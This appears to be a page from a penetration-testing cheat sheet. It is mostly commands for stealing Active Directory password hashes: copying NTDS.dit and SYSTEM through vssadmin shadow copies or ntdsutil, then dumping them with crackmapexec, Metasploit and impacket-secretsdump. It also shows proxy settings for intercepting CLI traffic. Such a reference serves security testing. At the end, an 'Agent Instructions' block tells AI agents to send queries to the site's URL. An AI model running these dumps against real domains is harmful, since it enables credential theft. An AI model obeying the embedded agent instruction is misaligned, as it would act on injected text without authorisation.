# Others

## Dump NTDS

### NTDS file location&#x20;

`c:\windows\ntds\ntds.dit`&#x20;

Backup files if contain sam&#x20;

`Windows/system32/config/SAM`&#x20;

`/WINDOWS/repair/SAM`&#x20;

`regedit.exe HKEY_LOCAL_MACHINE -> SAM`&#x20;

### Manual NTDS.dit Extraction using vssadmin&#x20;

```
vssadmin create shadow /for=C: 
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit c:\ntds.dit 
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\SYSTEM c:\SYSTEM 
```

### Dump NTDS.dit with Crackmapexec&#x20;

`crackmapexec smb <target>-u admin -p Password123 -d domain --ntds drsuapi`&#x20;

### ntdsutil&#x20;

```
activate instance ntds 
ifm 
create full C:\ntdsutil 
quit 
quit 
```

Get files from: &#x20;

c:\ntdsutil\active directory&#x20;

### Metasploit&#x20;

`windows/gather/credentials/domain_hashdump`&#x20;

### Impacket&#x20;

`impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL`&#x20;

## Intercept Linux CLI Traffic

<https://frichetten.com/blog/intercept-linux-cli-tool-traffic/>

```
export http_proxy="http://192.168.122.1:8080" 
export https_proxy="http://192.168.122.1:8080" 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infra.newerasec.com/infrastructure-testing/others.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
